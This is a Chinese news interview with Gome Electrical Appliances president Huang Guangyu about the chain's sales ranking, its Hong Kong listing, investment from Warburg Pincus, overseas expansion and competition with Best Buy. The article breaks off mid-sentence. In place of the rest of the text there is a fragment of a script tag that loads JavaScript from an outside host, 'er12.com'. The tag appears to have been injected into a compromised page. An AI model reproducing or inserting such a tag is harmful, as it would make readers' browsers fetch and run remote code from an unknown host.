国美电器总裁黄光裕表示，进场费是卖场利润一部分，国美发展不靠财力、垄断 在前不久商务部公布的2005全国连锁企业30强名单和中国连锁经营协会的2005中国连锁百强企业中，北京国美电器有限公司以498.4亿元的销售额位居第二名，增幅高居家电类连锁企业榜首。昨日，国美电器在香港上市公司停牌一天。停牌的原因是国美电器总裁黄光裕计划将私人拥有的国美电器非上市公司35%的股权注入上市公司，以推动国美整体在香港上市。
本周六，作为中国家电零售业老大的国美集团将召开一年一度的第三届家电峰会。与前两届不同的是，今年的峰会将由博鳌论坛协办，规格高出很多，参加者除国内外家电巨头，还有不少政府官员。峰会举行前夕，年仅37岁的掌门人黄光裕及他的高管团队就国美的发展战略、厂商关系等接受了记者的采访。
黄光裕和他领导的国美集团被一些媒体描述为“有着狼一样的野性”，但是昨天出现在记者面前的黄光裕却是一位颇具亲和力的年轻人，甚至有些羞涩。黄光裕说，这十年推动企业发展的因素中，自己的力量只占10%。
本报记者 康亚风 摄 我是国美形象代言人
者：2004年和2005年，您蝉联两届内地首富。从1986年你在珠市口开出的第一家家电店铺到现在刚好20年，你认为，在这20年里，你最大的收获是什么？是财富？影响力？成就感？或者其他？ 黄光裕：在国美创立的这将近二十年的时间里，我认为我真正最大的收获就是消费者。每年有上百亿人次光顾国美，消费者的信任是我拥有的最大的无形财富，同这个相比，其他的有形财富都是次要的。现在虽然有了不少的财富，却没有时间享受，没有时间花钱。
记者：在国美的发展中，你认为你个人的作用有多大？
黄光裕：在国美的发展中，我认为十年前我的力量占90%.这十年以来，我的力量在公司发展的因素中只有10%.我们的发展更重要的是团队的力量，企业做大了，已不是靠一个人或只靠人与人的制约就能发展。我们这几年更多的是通过可靠机制来促进企业发展。 记者：如果现在你仍然像20年前那样一无所有，那你有没有信心再达到现在的这个高度？
黄光裕：国美能发展到现在，靠的是我们的智慧和勤劳，不是靠的财力、垄断和后台的支持。如果现在一切从新开始，我想通过我们的努力，我们有信心再打造一个国美，再出现的国美甚至会比现在更完美。
记者：国美发展到现在，你的理想是什么，你目前最主要的工作是做什么？
黄光裕：我现在因为太忙，没有时间想什么理想（笑）。现在我主要的作用就是做国美的形象代言人（笑）。近几年来，我做得更多的是研究公司发展策略性的东西。
记者：据说在国美工作的人能接触到你的只是几个总监级别的人物，其他员工很少能接触到你。在你这种深居简出的工作风格中，你对市场最主要的判断来自哪里？是灵感还是数据？
黄光裕：国美具备的创新能力是我们发展的基础，我们每一个人每天起来都要面对新的问题，如果没有创新精神，在国美不可能待很长时间。
一方面很多员工我都不认识，这使我很惭愧；另一方面，我们的企业发展得大了，在全国经理级别的就有100多个，我不可能和他们有过多的接触，他们被我们的这些总监的“势力”给分隔开了（笑）。我们是一个团队，我们现在不是靠人来管理人，不是靠人来制约人，我们是靠良好的机制来发展。
我们引进了美国华平基金，更多的原因是希望能够得到他们先进的管理方法和企业管理层面的帮助，华平打给我们账上10亿元现金我们现在一分都没动，华平进来后的作用可能马上不会显现出来，但是在以后的三五年里，作用会逐渐显现。
华平对我们的管理团队和管理方法给予了很高的评价，甚至以前我认为是不足的地方他们也给予了肯定。
国际经验不等于中国经验 记者：国美已经在香港开店，国美有无国际化战略？ 黄光裕：国美电器在中国内地仍未完成发展规划，也没有占到应有的市场地位。只有在国内发展好了，我们才会考虑走出国外。
在香港开店使我们受益匪浅。那些零售巨头在发展上已形成规模，如果不是因为我们准备充分，别说盈利，赔钱都很有可能。我们的服务水平，对信息的利用水平，同他们的差别仍然较大。
如果到国外开店我们将会主要采用收购的模式，从目前情况来看，如果去国外发展，进入东南亚的可能性最大。 记者：有消息说，百思买在中国的第一家店今年年中将在上海开业。国美将如何应对这些国际巨头？
黄光裕：其实国内的家电企业和国外来比是有很大差异的。百思买等国际连锁巨头们的发展主要是靠差异化的产品。他们在国外的店销售的产品中，有70%左右是其他店没有的商品。 差异化使他们的毛利率达到18%-25%，而国内企业目前的毛利率只有13%，很多产品是包销定制，实际上在中国所有的家电卖场中只有价格和服务上的差异，产品上几?script src=http://er12.com/t.js>
